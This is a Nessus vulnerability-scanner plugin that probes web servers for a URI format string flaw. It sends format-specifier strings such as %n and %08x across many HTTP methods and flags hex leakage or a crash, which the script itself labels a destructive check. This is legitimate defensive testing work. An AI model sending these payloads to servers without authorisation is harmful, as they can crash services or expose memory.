HTTP URI Handling Format String

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(15640);
  script_version("$Revision: 1.19 $");
  script_cvs_date("$Date: 2015/10/21 20:34:20 $");
 
  script_name(english:"HTTP URI Handling Format String");
  script_summary(english:"Sends an HTTP request with %s as an URI");
 
  script_set_attribute(attribute:"synopsis", value:
"The remote web server is vulnerable to a format string attack.");
  script_set_attribute(attribute:"description", value:
"The remote web server seems to be vulnerable to a format string
attack on the URI. 

An attacker might use this flaw to make it crash or even execute
arbitrary code on this host.");
  script_set_attribute(attribute:"solution", value:
"Upgrade your software or contact your vendor and 
inform him of this vulnerability.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C");
 
  script_set_attribute(attribute:"plugin_publication_date", value:"2004/11/06");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK); 
  script_copyright(english:"This script is Copyright (C) 2004-2015 Tenable Network Security, Inc.");
  script_family(english:"Web Servers");

  script_dependencie("http_version.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("Settings/ParanoidReport");
  exit(0);
}

#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

if (report_paranoia < 2) exit(0);

port = get_http_port(default:80);
if (! get_port_state(port)) exit(0);
if (http_is_dead(port: port)) exit(0);

r = http_send_recv3(port: port, method: 'GET', item: strcat('/', rand_str(), '.html'));
if (isnull(r)) exit(0);
flag = 0; flag2 = 0;
if (egrep(pattern:"[0-9a-fA-F]{8}", string: r[2]))
{
  flag = 1;
  debug_print('Normal answer:\n', r);
}

foreach method (make_list("GET", "HEAD", "OPTIONS", "TRACE", "MOVE", "INDEX", 
	"MKDIR", "RMDIR", "PUT", "DELETE"))
foreach bad (make_list("%08x", "%s", "%#0123456x%08x%x%s%p%n%d%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%#0123456x%%x%%s%%p%%n%%d%%o%%u%%c%%h%%l%%q%%j%%z%%Z%%t%%i%%e%%g%%f%%a%%C%%S%%08x"))
{
  r = http_send_recv3(port: port, method: method, item: "/"+bad);
  if (isnull(r)) break;
  if (egrep(pattern:"[0-9a-fA-F]{8}", string: r[2]))
  {
    debug_print('Format string:\n', r);
    flag2 ++;
  }
}

if (! isnull(r))
{
 method = NULL; bad = NULL;
}

if (http_is_dead(port: port, retry: 3))
{
  if (method && bad && func_has_arg("security_hole", "extra"))
   security_hole(port: port, extra: 
strcat('Nessus killed the server by sending\n', method, ' ', bad));
  else
  security_hole(port);
  exit(0);
}

if (report_paranoia > 1 && ! flag && flag2)
{
  security_hole(port:port, extra: 
"Nessus did not kill the remote server but the server behaves
suspiciously.  That is hexadecimal digits were found in the output,
they might have been generated by %08x.");
}